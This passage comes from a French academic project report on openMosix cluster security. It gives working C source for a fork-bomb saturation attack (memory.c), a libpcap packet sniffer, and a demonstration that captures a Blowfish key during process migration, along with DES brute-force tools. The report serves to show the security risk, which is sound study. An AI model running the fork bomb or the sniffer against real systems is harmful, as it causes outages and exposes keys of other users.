14. NAGWare Fortran 95 compiler Release 4.2(464) et NAG fortran 77 libraries (Mark 20);
15. ...

5.2 Applications non compatibles

1. Programmes Java utilisant les threads natifs à cause de l'utilisation de mémoire partagée;
2. Applications utilisant les Pthreads;
3. MySQL (utilisation de mémoire partagée);
4. Apache (utilisation de mémoire partagée);
5. SAP (utilisation de mémoire partagée);
6. Oracle (utilisation de mémoire partagée);
7. Mathematica (utilisation de mémoire partagée);
8. Postgres (utilisation de mémoire partagée);
9. Python (avec le threading activé);
10. ...

Evidemment ces programmes peuvent tourner sur un seul noeud, mais sont incapables de tirer profit du cluster.

6 | Programmes réalisés durant le projet

Ce chapitre donne un bref aperçu des logiciels programmés durant le projet.

6.1 Exemple d'attaque

Afin de démontrer qu'un cluster *openMosix* utilisé sur un réseau considéré comme non sûr doit faire l'objet d'une attention toute particulière au niveau de la sécurité, de petits programmes ont été écrits.

6.1.1 Attaque par saturation

Un utilisateur malveillant peut très facilement saturer toutes les machines du cluster. Ce programme démontre avec quelle facilité toutes les machines sont rendues quasiment inutilisables.

– **Fichier :**

memory.c

– **Fonctionnement :**

il se contente de créer un nombre infini de processus. Ces derniers s'allouent 10 Mo de mémoire vive et y font des accès constants de manière aléatoire afin d'utiliser au maximum les ressources du cpu. Comme les processus se déplacent sur tous les noeuds, le cluster est rapidement saturé.

– **Utilisation :**

`./memory`

Il suffit de lancer le programme sur un noeud du cluster et le laisser tourner.

Attention : ce programme sature le cluster et peut faire planter (*kernel panic*) le noeud sur lequel vous l'avez lancé.

6.1.2 Vol de clé de chiffrement

On peut imaginer que les programmes tournant sur le cluster utilisent des ressources sensibles. Un tel cas se présente par exemple lorsqu'un processus chiffre un fichier. Ce processus peut être amené à migrer vers un noeud plus favorable. Le contenu de la mémoire de ce processus passe donc par le réseau, la clé servant au chiffrement également ! Il est donc possible de surveiller le trafic réseau et de voler la clé en question.

– **Fichier :**

dump.c

– **Fonctionnement :**

il se contente d'enregistrer le trafic réseau dans un fichier. Le programme est capable de trouver l'interface réseau automatiquement; il est également possible si nécessaire d'en spécifier une en paramètre. Ce sniffer utilise la bibliothèque *libpcap*¹.

– **Utilisation :**

```
./dump dumpfile 1500
```

On enregistre 1500 paquets dans le fichier *dumpfile*. Pour spécifier une interface réseau (ici *eth0*):

```
./dump dumpfile 1500 eth0
```

– **Fichier :**

blowfish.c

– **Fonctionnement :**

ce programme est capable de générer une clé aléatoirement ou d'en lire une depuis un fichier. Grâce à cette clé, il peut chiffrer ou déchiffrer un fichier. L'algorithme utilisé est *blowfish* de la bibliothèque *crypto* implémenté par *OpenSSL*². *Blowfish* a été inventé et décrit par *Counterpane*³. C'est un algorithme de chiffrement qui opère sur des blocs de 64 bits de données. Il utilise une clé à taille variable, typiquement une clé 128 bits est considérée comme bonne pour un chiffrement fort. Pour les besoins de la démonstration, le programme est également capable de se faire migrer vers un autre noeud du cluster. Le but est donc de voler cette clé en utilisant un sniffer. Le programme affiche sur la console la clé qu'il a utilisé. Le fichier *blowfish.hex* contient la clé sous forme hexadécimale.

1. <http://www.tcpdump.org/>

2. <http://www.openssl.org>

3. <http://www.counterpane.com/blowfish.html>

– **Utilisation :**

```
./blowfish secretfile secretfile.blow
```

secretfile est le fichier que l'on désire chiffrer. Sa version chiffrée se nomme *secretfile.blow*

– **Fichier :**

```
readdump.c
```

– **Fonctionnement :**

le programme lit un fichier de dump, créé typiquement par le programme *dump* cité plus haut, et l'affiche de manière un peu plus lisible. Ce programme fait également usage de la bibliothèque *libpcap*.

– **Utilisation :**

```
./readdump dumpfile | less
```

Examinons un petit scénario possible. Premièrement, on va lancer le sniffer :

```
./dump dumpfile 1500
```

Le sniffer capture en ce moment tous les paquets passant par l'interface réseau. C'est donc le moment de lancer le programme qui crypte un fichier et qui migre vers un autre noeud :

```
./blowfish secretfile secretfile.blow
```

Le programme *blowfish* affiche sur la console la clé qu'il a utilisé. Il suffit de la rechercher dans notre fichier de dump. Le fichier *blowfish.hex* contient la clé sous forme hexadécimale. Affichons le contenu de notre fichier *dumpfile* pour y rechercher la clé :

```
cat blowfish.hex
```

```
./readdump dumpfile | less
```

Pour retrouver la clé, lancer une recherche avec par exemple les deux premiers octets de la clé⁴.

4. Ceci n'est évidemment possible qu'en connaissant la clé. Des méthodes statistiques permettent d'identifier la clé dans le contenu de la mémoire qui transite sur le réseau en profitant du fait qu'une clé cryptographique est une donnée aléatoire, alors que le contenu de la mémoire du processus ne l'est pas.

6.2 Programmes tirant profit du cluster

Malgré le manque flagrant de sécurité, *openMosix* n'en reste pas moins un très bon outil. Cette section présente deux outils utilisant la puissance du cluster.

6.2.1 Courbes elliptiques

Les applications typiques utilisant la puissance de calcul des clusters font partie du domaine scientifique. Une application de factorisation de grands nombres par la méthode des courbes elliptiques a été réalisée par Thomas Baignères. L'algorithme de calcul comprends deux phases incluses dans une boucle infinie. Si un facteur n'est pas trouvé dans la première phase, alors le calcul se poursuit dans la seconde phase. Si un facteur n'est toujours pas trouvé, on incrémente a , le poids de x dans l'équation⁵ de la courbe, et on recommence.

Afin de tirer profit d'*openMosix*, ce programme a dû être légèrement retouché. Le calcul est désormais réparti entre plusieurs processus distincts. Le processus père génère un processus pour chaque valeur de a jusqu'à ce que le nombre maximum de processus soit atteint. Lorsqu'un processus fils a fini son calcul et qu'il n'a pas trouvé de facteur, le processus père récupère ce même processus devenu zombie, et génère un nouveau processus qui va à son tour rechercher un facteur avec une nouvelle valeur pour a . Si l'un des processus fils trouve un facteur, il l'inscrit sur la console et le programme principal se termine.

Le code source du fichier modifié se trouve à la section 6.3.8, page 56.

6.2.2 Recherche exhaustive

La recherche exhaustive consiste à essayer toutes les clés l'une après l'autre jusqu'à trouver la bonne. Cette méthode a l'avantage d'être générique et parallélisable (on peut distribuer le calcul sur de nombreuses machines). Par ailleurs, elle est réaliste : si on envisage le cas d'un système de chiffrement symétrique (qui associe à un bloc constitué de quelques octets un autre bloc de même taille, mais illisible, la correspondance dépendant de la clé), il suffit d'intercepter un (ou plusieurs, selon l'algorithme de chiffrement) couple clair/chiffré, c'est-à-dire un bloc de quelques octets et le chiffré correspondant. Par exemple, si c'est une image de type JPG qui est transférée, le

5. $y^2 = x^3 + ax + 1$. Pour plus d'indications, référez-vous au travail de Thomas Baignères.

début du message est l'entête JPG standard, parfaitement connue de tout un chacun.

Pour clore ce projet, il m'a été demandé de réaliser un programme qui effectue une recherche exhaustive. L'algorithme de chiffrement utilisé est le *DES* 56 bits. Ces programmes utilisent la bibliothèque *crypto* d'*OpenSSL*.

– **Fichier :**

des_encrypt.c

– **Fonctionnement :**

Ce programme se contente de chiffrer un fichier à l'aide de *DES*. Il lit une clé sur le terminal et s'en sert pour chiffrer le fichier passé en paramètre.

– **Utilisation :**

```
./des_encrypt file file.des
```

– **Fichier :**

des_decrypt.c

– **Fonctionnement :**

Ce programme se contente de déchiffrer un fichier chiffré par l'algorithme *DES*. Il lit une clé sur le terminal.

– **Utilisation :**

```
./des_decrypt file.des file
```

– **Fichier :**

des_search_fork.c

– **Fonctionnement :**

Le programme teste 2^{56} clés. L'espace des clés est divisé en plusieurs processus afin d'utiliser au mieux *openMosix*. Lorsqu'une clé est trouvée, tous les autres processus sont arrêtés. Le programme lit les premiers 64 bits du fichier non chiffré et se contente de chiffrer ces bits à l'aide d'une clé. Si le bloc de bits chiffrés correspondants au bloc chiffré passé en paramètre, nous avons trouvé la clé. Dans le cas contraire, on passe à la clé suivante. Lorsqu'une clé est trouvée, le programme décrypte entièrement le fichier passé en paramètre et mets son contenu dans le fichier *result*,

– **Utilisation :**

```
./des_search_fork file file.des
```

6.3 Codes source

6.3.1 *memory.c*

```

/*
Bonvin Nicolas
Project : Cluster Management Software
LASEC / EPFL
Assistant : Pascal Junod

-----
memory.c
-----
Ce programme tente de surcharger un cluster openMosix en creant un nombre
infini de processus. Chaque processus s'alloue 10Mo de memoire vive
et y fait des acces constants a des adresses aleatoires.

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
void wait_char(){
    char c;
    c = getc(stdin);
}
int main (int argc, const char * argv[]){
    int pid = 0;
    while (1==1) {
        if(pid = fork() == 0) {
            unsigned int size = 1024 * 1024 * 10; // 10 Mo
            unsigned char *memory;
            int i;
            memory = (unsigned char *) malloc(size);
            if (memory == NULL) {
                perror("Memory allocation error");
                return errno;
            }
            printf("Allocation %u Mbytes of memory\n", size/(1024*1024));
            fprintf(stderr, "Creation fils : %d\n", (int) getpid());
            for (;;) {
                // rand() renvoie un nombre entre 0 et 2^15-1
                unsigned r = (rand()*(1<<15) + rand()) % size; // ecriture aleatoire
                memory[r] = i%256;
            }
        }
        else { // processus pere
            // ecriture sequentielle
            //for (i=0; i<size; i++) memory[i]=i%256;
        }
    }
    return 0;
}

```

6.3.2 *dump.c*

```

/*
Bonvin Nicolas

```

Project : Cluster Management Software
LASEC / EPFL
Assistant : Pascal Junod

dump.c

Ce programme ouvre une interface et enregistre tous les paquets y passant

```
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <time.h>  
#include <pcap.h>  
  
void Usage(char *prog)  
{  
    printf("Usage: %s <fichier> <nb_paquets> [<device>]\n", prog);  
}  
  
void pcap_dump2(u_char *user, struct pcap_pkthdr *h, u_char *sp)  
{  
    pcap_dump((u_char*)user, h, sp);  
}  
  
int main(int argc, char **argv)  
{  
    pcap_t *desc;  
    pcap_dumper_t *dumpdesc;  
    char *device = NULL;  
    char errbuf[PCAP_ERRBUF_SIZE];  
    int nb_packet;  
  
    if (argc < 3 || argc > 4)  
        Usage(argv[0]), exit(1);  
  
    nb_packet = atoi(argv[2]);  
  
    /* On va ouvrir un peripherique – soit il a ete specifie,  
       soit il est detecte automatiquement avec pcap_lookupdev */  
    if (argc == 4)  
        { // un peripherique a ete specifie  
            device = argv[3];  
        }  
    else  
        {  
            if (!(device = pcap_lookupdev(errbuf)))  
                {  
                    printf("Erreur pcap_lookupdev: %s\n", errbuf);  
                    exit(1);  
                }  
        }  
  
    printf("Ouverture de : %s\n", device);  
  
    /* Ouverture du descripteur pour la lecture */  
  
    desc = pcap_open_live(device, 1524, 1, 1000, errbuf);
```

```

    if (desc == NULL)
        printf("Erreur pcap_open_live: %s\n", errbuf), exit(1);

    /* Ouverture du fichier de dump pour la sauvegarde */

    dumpdesc = pcap_dump_open(desc, argv[1]);

    // Dump des paquets
    pcap_loop(desc, nb_packet, (pcap_handler) pcap_dump2, (u_char*)dumpdesc);

    printf("Fin du dump des %i paquets...\n", nb_packet);
    pcap_dump_close(dumpdesc);

    pcap_close(desc);

    return 0;
}

```

6.3.3 *blowfish.c*

```

/*
Bonvin Nicolas
Project : Cluster Management Software
LASEC / EPFL
Assistant : Pascal Junod

```

```

blowfish.c

```

Ce programme est destine a tester la securite d'un cluster openMosix.
Il peut generer une cle, crypter et decrypter un fichier, se faire migrer
vers une autre machine du cluster.
Le but est d'intercepter la cle lors du passage du processus entre les
deux machines a l'aide d'un sniffer.

```

*/

#include <openssl/blowfish.h>
#include <openssl/evp.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h> /* getpid() */

#define IP_SIZE 1024
#define OP_SIZE 1032

unsigned char key[16];           /* tableau contenant la cle de cryptage          *
unsigned char iv[8];            /* tableau contenant le vecteur d'initialisation  *
unsigned char readed.key[16];   /* tableau contenant une cle lue depuis un fichier *

// Genere une cle aleatoire
int generate_key ()
{
    int i, j, fd;

    if ((fd = open ("/dev/random", O_RDONLY)) == -1)

```

```

    perror ("open error");

    if ((read (fd, key, 16)) == -1)
        perror ("read key error");

    if ((read (fd, iv, 8)) == -1)
        perror ("read iv error");

    close (fd);

    return 0;
}

// lit une cle depuis un fichier
int read_key()
{
    FILE *fdr;
    int i;

    if ((fdr=fopen("blowfish.key", "rt")) == NULL)
        perror("Error opening blowfish.key");

    for(i=0; i<16 ; i++)
        fscanf(fdr, "%d\t", &readed_key[i]);

    // Affichage
    for (i = 0; i < 16; i++)
        printf ("%d\t", readed_key[i]);

    // printf("\n");
    fclose(fdr);
    return 0;
}

// Ecrit une cle dans un fichier
int write_key()
{
    FILE *fdk, *fdv, *fdh;
    int i;

    if ( ( fdk=fopen("blowfish.key", "w")==NULL )
        perror("Unable to create blowfish.key");

    if ( ( fdv=fopen("blowfish.vec", "w")==NULL )
        perror("Unable to create blowfish.vec");

    if ( ( fdh=fopen("blowfish.hex", "w")==NULL )
        perror("Unable to create blowfish.hex");

    // 128 bit key
    for (i = 0; i < 16; i++)
        fprintf(fdk, "%d\t", key[i]);

    //Initialization vector
    for (i = 0; i < 8; i++)
        fprintf(fdv, "%d\t", iv[i]);

    // 128 bit key in hexa
    for (i = 0; i < 16; i++)
        fprintf(fdh, "%x ", key[i]);

    // printf ("\n");

```

```

    fclose(fdk);
    fclose(fdv);
    fclose(fdh);
    return 0;
}

// Affiche la cle et le vecteur d'initialisation sur le terminal
int print_key()
{
    int i;
    printf("128 bit key:\n");
    for (i = 0; i < 16; i++)
        printf ("%d\t", key[i]);

    printf ("\n");

    printf("Initialization vector:\n");
    for (i = 0; i < 8; i++)
        printf ("%d\t", iv[i]);

    printf ("\n");
    return 0;
}

// decrypte un fichier
int decrypt (int infd, int outfd)
{
    unsigned char outbuf[IP_SIZE];
    int olen, tlen, n;
    char inbuff[OP_SIZE];
    EVP_CIPHER_CTX ctx;
    EVP_CIPHER_CTX_init (&ctx);
    EVP_DecryptInit (&ctx, EVP_bf_cbc (), key, iv);

    for (;;)
    {
        bzero (&inbuff, OP_SIZE);
        if ((n = read (infd, inbuff, OP_SIZE)) == -1)
        {
            perror ("read error");
            break;
        }
        else if (n == 0)
            break;

        bzero (&outbuf, IP_SIZE);

        if (EVP_DecryptUpdate (&ctx, outbuf, &olen, inbuff, n) != 1)
        {
            printf ("error in decrypt update\n");
            return 0;
        }

        if (EVP_DecryptFinal (&ctx, outbuf + olen, &tlen) != 1)
        {
            printf ("error in decrypt final\n");
            return 0;
        }
        olen += tlen;
        if ((n = write (outfd, outbuf, olen)) == -1)
            perror ("write error");
    }
}

```

```

    EVP_CIPHER_CTX_cleanup (&ctx);
    return 1;
}

// Crypte un fichier
int encrypt (int infd, int outfd)
{
    unsigned char outbuf[OP_SIZE];
    int olen, tlen, n;
    char inbuff[IP_SIZE];
    EVP_CIPHER_CTX ctx;
    EVP_CIPHER_CTX_init (&ctx);
    EVP_EncryptInit (&ctx, EVP_bf_cbc (), key, iv);

    for (;;)
    {
        bzero (&inbuff, IP_SIZE);

        if ((n = read (infd, inbuff, IP_SIZE)) == -1)
        {
            perror ("read error");
            break;
        }
        else if (n == 0)
            break;

        if (EVP_EncryptUpdate (&ctx, outbuf, &olen, inbuff, n) != 1)
        {
            printf ("error in encrypt update\n");
            return 0;
        }

        if (EVP_EncryptFinal (&ctx, outbuf + olen, &tlen) != 1)
        {
            printf ("error in encrypt final\n");
            return 0;
        }
        olen += tlen;
        if ((n = write (outfd, outbuf, olen)) == -1)
            perror ("write error");
    }
    EVP_CIPHER_CTX_cleanup (&ctx);
    return 1;
}

// Migre le processus vers le noeud passe en èparamtre
int migrate (int node)
{
    char name1[7], name2[12], name3[6], mixed[26];
    char pid_str[12];
    int pid = getpid();
    FILE *fdg;

    sprintf(pid_str, "%d", pid);
    strcpy(name1, "/proc/");
    strcpy(name2, pid_str);
    strcpy(name3, "/goto");
    strcpy(mixed, name1);
    strcat(mixed, name2);
    strcat(mixed, name3);
}

```

```

    if ( ( fdg = fopen(mixed,"w")==NULL )
        {
            perror("Unable to write the openMosix goto file");
            return -1;
        }
    fprintf(fdg,"%d",node);

    printf("Migration to node %d\n",node);
    printf("Writing: %s ... \n",mixed);
    fclose(fdg);
    return 0;
}

// Renvoie le noeud sur lequel se trouve le processus actuellement
int node()
{
    char name1[7], name2[12], name3[6], mixed[26];
    char pid_str[12];
    int pid = getpid();
    int current_node = -1;
    FILE *fdg;

    sprintf(pid_str, "%d", pid);
    strcpy(name1, "/proc/");
    strcpy(name2, pid_str);
    strcpy(name3, "/where");
    strcpy(mixed, name1);
    strcat(mixed, name2);
    strcat(mixed, name3);

    if ( ( fdg = fopen(mixed,"r")==NULL )
        {
            perror("Unable to read the openMosix where file");
            return -1;
        }
    fscanf(fdg,"%d",&current_node);
    fclose(fdg);
    return current_node;
}

void Usage(char *prog)
{
    printf("Usage: %s <file_to_crypt> <name_encrypted_file>\n", prog);
}

// Fonction principale

int main (int argc, char *argv [])
{
    int flags1 = 0, flags2 = 0, outfd, infd, decfd, i;
    char c;
    mode_t mode;

    bzero (&key, 16);
    bzero (&readed_key, 16);
    bzero (&iv, 8);
    bzero (&mode, sizeof (mode));

```

```

flags1 = flags1 | O_RDONLY;
flags2 = flags2 | O_RDONLY;
flags2 = flags2 | O_WRONLY;
flags2 = flags2 | O_CREAT;

mode = mode | S_IRUSR;
mode = mode | S_IWUSR;

if (argc != 3){
    Usage(argv[0]);
    return -1;
}

generate_key();
write_key();

if ((infd = open (argv[1], flags1, mode)) == -1)
    perror ("open input file error");

if ((outfd = open (argv[2], flags2, mode)) == -1)
    perror ("open output file error");

// On veut migrer vers le noeud 2
if(migrate(2) == -1)
    perror("Migration process failed");

printf("Current node (after migration): %d \n",node());
printf("Encryption ... \n");

encrypt (infd, outfd);
printf(" ... Done !\n");
printf("Current node (after encryption): %d \n",node());
printf("\n\n\n*****\n");
print_key();
printf("\n*****\n\n");
printf("Press 'e' to exit ... \n");
close (infd);
close (outfd);
while (1==1){
    c=getchar();
    if (c=='e') return 0;
}
}

```

6.3.4 readdump.c

```

/*
Bonvin Nicolas
Project : Cluster Management Software
LASEC / EPFL
Assistant : Pascal Junod

```

readdump.c

Ce programme ouvre un fichier de dump et affiche son contenu.

(Fortement inspire de tcpdump)

```

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <pcap.h>

void showpacket(struct pcap_pkthdr hdr, const u_char *packet)
{
    struct tm *mytime;
    int i, j, k;

    mytime = localtime(&hdr.ts.tv_sec);

    printf("%02d:%02d:%02d.%06i", mytime->tm_hour, mytime->tm_min, mytime->tm_sec,
           (int)hdr.ts.tv_usec);

    printf(", Len: %i (0x%x)\n", hdr.caplen, hdr.caplen);

    for (i=0; i<=hdr.caplen/16; i++)
    {
        if (i*16 != hdr.caplen)
            printf("0x%.2x ", i*16);

        k = (((i+1)*16)>hdr.caplen)?hdr.caplen-(i*16):16;

        for (j=0; j<k; j++)
        {
            printf("%.2x ", *packet);
            packet++;
        }

        if (k != 16)
            for (j=k; j<16; j++)
                printf(" ");

        printf(" ");
        packet-=k;

        // Impression des ècaractres si possible, sinon un point.
        for (j=0; j<k; j++)
        {
            if (*packet>20)
                printf("%c", *packet);
            else
                printf(".");
            packet++;
        }

        if (i*16 != hdr.caplen)
            printf("\n");
    }
    printf("\n");
}

void Usage(char *prog)
{
    printf("Usage: %s <fichier>\n", prog);
}

```

```

int main(int argc, char **argv)
{
    pcap_t *desc;
    const u_char *packet;
    struct pcap_pkthdr hdr;
    char errbuf[PCAP_ERRBUF_SIZE];

    if (argc != 2)
        Usage(argv[0]), exit(1);

    desc = pcap_open_offline(argv[1], errbuf);
    if (desc == NULL)
        printf("pcap.open_offline: %s\n", errbuf), exit(2);

    while ((packet = pcap_next(desc, &hdr)))
    {
        showpacket(hdr, packet);
    }

    pcap_close(desc);

    return 0;
}

```

6.3.5 *des_encrypt.c*

```

/*
Bonvin Nicolas
Project : Cluster Management Software
LASEC / EPFL
Assistant : Pascal Junod

```

```

des_encrypt.c

```

```

Ce programme lit une cle sur le terminal et s'en sert pour encrypter un fichier.

*/

#include <openssl/des.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>

des_cblock key, input, output;
des_key_schedule sched;
unsigned int count7=0,count6=0,count5=0,count4=0,count2=0,count3=0,count1=0,count0=0;
int weak=0;

// calcule la parite d'un entier non signe.
// cet entier est transforme en echaractre ASCII 7 bit
// le bit de parite est ajoute sur le bit de poids fort

```

```

// un bloc de 8 bits est renvoye : 1 bit de parite + 7 bits de donnees
unsigned int odd_parity(unsigned int ch)
{
    int temp = 1; /* 0 : parite paire    1 : parite impaire */
    int count;

    /* trim to 7 bit ASCII */
    ch &= 0x7f;

    for (count = 0; count < 8; ++count)
        temp ^= ((ch >> count) & 1);

    if (temp)
        ch |= 0x80;

    return ch;
}

// Genere une cle issue des donnees entrees au terminal
int generate_initial_key()
{
    key[0] = odd_parity(count0);
    key[1] = odd_parity(count1);
    key[2] = odd_parity(count2);
    key[3] = odd_parity(count3);
    if (!weak){
        key[4] = odd_parity(count4);
        key[5] = odd_parity(count5);
        key[6] = odd_parity(count6);
        key[7] = odd_parity(count7);
    }
    else{
        key[4] = odd_parity(0);
        key[5] = odd_parity(0);
        key[6] = odd_parity(0);
        key[7] = odd_parity(0);
    }

    //des_set_odd_parity(&key);

    switch(des_set_key_checked(&key, sched)){
    case -1:
        printf("Parity is wrong\n");
        exit(-1);
        break;

    case -2:
        printf("Key is weak\n");
        // exit(-1);
        break;
    }

    printf("Initial_key : %x%x%x%x%x%x%x\n", key[0], key[1], key[2],
        key[3], key[4], key[5], key[6], key[7]);
    return(0);
}

// encrypte un fichier par bloc de 8 bits
int encrypt (char *in, char *out)

```

```

{
FILE *fdi , *fdo;
int i=0,j;
char c,p;

if ( ( fdi = fopen(in,"r")==NULL )
{
    perror("Unable to read to the input file");
    return -1;
}

if ( ( fdo = fopen(out,"w")==NULL )
{
    perror("Unable to write to the output file");
    return -1;
}

while((c = getc(fdi))!= EOF){
    input[i]=c;
    //    printf("%c\n",c);
    i++;
    if(i == 8){
        des_ecb_encrypt(&input, &output, sched, DES_ENCRYPT);
        fprintf(fdo, "%c%c%c%c%c%c%c%c", output[0], output[1], output[2],output[3],
            output[4], output[5], output[6], output[7]);

        i = 0;
    }
}

//gestion du padding
if (i!=0){ //si on arrive ici, c'est qe le texte a encrypter n'est pas un multiple de 64.
    printf("nombre de ècharacter a rajouter : %d\n",8-i);
    switch(i){
    case 1:
        input[7]='6';
        p='6';
        break;
    case 2:
        input[7]='5';
        p='5';
        break;
    case 3:
        input[7]='4';
        p='4';
        break;
    case 4:
        input[7]='3';
        p='3';
        break;
    case 5:
        input[7]='2';
        p='2';
        break;
    case 6:
        input[7]='1';
        p='1';
        break;
    case 7:
        input[7]='0';
        p='0';

```

```

        break;
    }

    for (j=6;j>=i;j--) input [j]=p;

    //for (j=0;j<8;j++)printf("input[%d]:%c  ",j,input [j]);
    des_ecb_encrypt(&input, &output, sched, DES_ENCRYPT);
    fprintf(fdo, "%c%c%c%c%c%c%c%c", output [0], output [1], output [2], output [3],
            output [4], output [5], output [6], output [7]);
}

    fclose(fdi);
    fclose(fdo);
return 0;
}

void Usage(char *prog)
{
    printf("Usage: %s [-w] <file_to_crypt> <name_encrypted_file>\n", prog);
    printf("Option : \n");
    printf("w : weak key (32 bits)\n");
}

int main(int argc, char **argv)
{
    int c, i=0;
    char *clearfile = NULL;
    char *encfile = NULL;

    while ((c = getopt (argc, argv, "w")) != -1)
        switch (c)
        {
            case 'w':
                weak = 1;
                break;

            case '?:
                if (isprint (optopt))
                    fprintf (stderr, "Unknown option '-%c'.\n", optopt);
                else
                    fprintf (stderr,
                            "Unknown option character '\\x%x'.\n", optopt);
                return 1;
            default:
                abort ();
        }

    if ((argc-weak) != 3) {
        Usage(argv[0]);
        return -1;
    }

    clearfile = argv[optind++];
    encfile = argv[optind];

    printf("file to crypt : %s\n", clearfile);
    printf("name of encrypted file : %s\n", encfile);
    printf("Please give a key : \n");
}

```

```

if (!weak){
    printf("block 7: ");
    scanf("%d",&count7);
    printf("block 6: ");
    scanf("%d",&count6);
    printf("block 5: ");
    scanf("%d",&count5);
    printf("block 4: ");
    scanf("%d",&count4);
}
printf("block 3: ");
scanf("%d",&count3);
printf("block 2: ");
scanf("%d",&count2);
printf("block 1: ");
scanf("%d",&count1);
printf("block 0: ");
scanf("%d",&count0);

generate_initial_key();

//encrypt(argv[1],argv[2]);
encrypt(clearfile,encfile);
}

```

6.3.6 *des_decrypt.c*

```

/*
Bonvin Nicolas
Project : Cluster Management Software
LASEC / EPFL
Assistant : Pascal Junod

```

```

des_decrypt.c

```

```

Ce programme decrypte un fichier grace a la cle passee sur
la ligne de commande

*/

#include <openssl/des.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>

des_cblock key, input, output;
des_key_schedule sched;
unsigned int count7, count6, count5, count4, count2, count3, count1, count0;
int weak = 0;

// calcule la parite d'un entier non signe.
// cet entier est transforme en echaractre ASCII 7 bit
// le bit de parite est ajoute sur le bit de poids fort
// un bloc de 8 bits est renvoye : 1 bit de parite + 7 bits de donnees

```

```

unsigned int odd_parity(unsigned int ch)
{
    int temp = 1; /* 0 : parite paire    1 : parite impaire */
    int count;

    /* trim to 7 bit ASCII */
    ch &= 0x7f;

    for (count = 0; count < 8; ++count)
        temp ^= ((ch >> count) & 1);

    if (temp)
        ch |= 0x80;

    return ch;
}

// Genere une cle issue des donnees entrees au terminal
int generate_initial_key()
{
    /*
    key[0] = odd_parity(count0);
    key[1] = odd_parity(count1);
    key[2] = odd_parity(count2);
    key[3] = odd_parity(count3);
    key[4] = odd_parity(count4);
    key[5] = odd_parity(count5);
    key[6] = odd_parity(count6);
    key[7] = odd_parity(count7);
    */

    key[0] = odd_parity(count0);
    key[1] = odd_parity(count1);
    key[2] = odd_parity(count2);
    key[3] = odd_parity(count3);
    if (!weak){
        key[4] = odd_parity(count4);
        key[5] = odd_parity(count5);
        key[6] = odd_parity(count6);
        key[7] = odd_parity(count7);
    }
    else{
        key[4] = odd_parity(0);
        key[5] = odd_parity(0);
        key[6] = odd_parity(0);
        key[7] = odd_parity(0);
    }
}

switch(des_set_key_checked(&key, sched)){
case -1:
    printf("Parity is wrong\n");
    exit(-1);
    break;

case -2:
    printf("Key is weak\n");
    // exit(-1);
    break;
}

```

```

printf("Used key to decrypt : %x%x%x%x%x%x%x\n",key [0],key [1],key [2],
      key [3],key [4],key [5],key [6],key [7]);
return(0);
}

// decrypte un fichier par bloc de 8 bits
int decrypt (char *in, char *out)
{
FILE *fdi, *fdo;
int i=0,j,p=-1,bc1=0,bc2=0;
char c;

if ( ( fdi = fopen(in,"r")==NULL )
    {
    perror("Unable to read to the input file");
    return -1;
    }
//Cette boucle calcule le nombre de bytes du fichier.
while((c = getc(fdi))!= EOF){
input [i]=c;
i++;
if(i == 8){
i=0;
bc1++;
des_ecb_encrypt(&input, &output, sched, DES_DECRYPT);
}
}

fclose(fdi);

// On lit le dernier byte du fichier.
// padding
if (i!=0) perror("Fichier invalide. Une erreur d'encryption a eu lieu.");
switch (output [7]) {
case '6':
p=7;
break;
case '5':
p=6;
break;
case '4':
p=5;
break;
case '3':
p=4;
break;
case '2':
p=3;
break;
case '1':
p=2;
break;
case '0':
p=1;
break;
}

if ( ( fdi = fopen(in,"r")==NULL )
    {

```

```

        perror("Unable to read to the input file");
        return -1;
    }

    if ( ( fdo = fopen(out,"w") ) == NULL )
    {
        perror("Unable to write to the output file");
        return -1;
    }

    while((c = getc(fdi))!= EOF){
        input[i]=c;
        // printf("%c\n",c);
        i++;
        if(i == 8){
            if(++bc2!=bc1){
                des_ecb_decrypt(&input, &output, sched, DES_DECRYPT); // DES_DECRYPT
                fprintf(fdo, "%c%c%c%c%c%c%c%c", output[0], output[1], output[2], output[3],
                    output[4], output[5], output[6], output[7]);
            }
            i = 0;
        }
    }
    // decrypting the last cblock
    des_ecb_decrypt(&input, &output, sched, DES_DECRYPT);
    if(p== -1)
        for ( i=0;i<8;i++) fprintf(fdo, "%c", output[i]);
    else
        for ( i=0;i<7-p;i++) fprintf(fdo, "%c", output[i]);

    fclose(fdi);
    fclose(fdo);

    return 0;
}

void Usage(char *prog)
{
    printf("Usage: %s [-w] <name_encrypted_file> <clear_file> \n", prog);
    printf("Option : \n");
    printf("w : weak key (32 bits)\n");
}

int main(int argc, char **argv)
{
    int c;
    char *clearfile = NULL;
    char *encfile = NULL;

    while ((c = getopt (argc, argv, "w")) != -1)
        switch (c)
        {
            case 'w':
                weak = 1;
                break;

            case '?:
                if (isprint (optopt))

```

```

        fprintf (stderr, "Unknown option '-%c'.\n", optopt);
    else
        fprintf (stderr,
            "Unknown option character '\\x%x'.\n", optopt);
    return 1;
default:
    abort ();
}

if ((argc-weak) != 3) {
    Usage(argv[0]);
    return -1;
}

encfile = argv[optind++];
clearfile = argv[optind];

printf("name of encrypted file : %s\n", encfile);
printf("file with clear text : %s\n", clearfile);
printf("Please give a key : \n");

if (!weak){
    printf("block 7: ");
    scanf("%d",&count7);
    printf("block 6: ");
    scanf("%d",&count6);
    printf("block 5: ");
    scanf("%d",&count5);
    printf("block 4: ");
    scanf("%d",&count4);
}
printf("block 3: ");
scanf("%d",&count3);
printf("block 2: ");
scanf("%d",&count2);
printf("block 1: ");
scanf("%d",&count1);
printf("block 0: ");
scanf("%d",&count0);

generate_initial_key();

// decrypt(argv[1],argv[2]);
decrypt(encfile,clearfile);
}

```

6.3.7 *des_search_fork.c*

/*

Bonvin Nicolas
 Project : Cluster Management Software
 LASEC / EPFL
 Assistant : Pascal Junod

des_search_fork.c

Ce programme effectue une recherche exhaustive de cle. Il passe en revue 2^{56-1} cles. L'algorithme de cryptage est un DES 64 bits. La cle comporte

56 bits utiles : le bit de poids fort de chaque bloc de 8 bits etant un bit de parite. Cette version tire partie d'un cluster openMosix.

Extrait du manuel de DES :

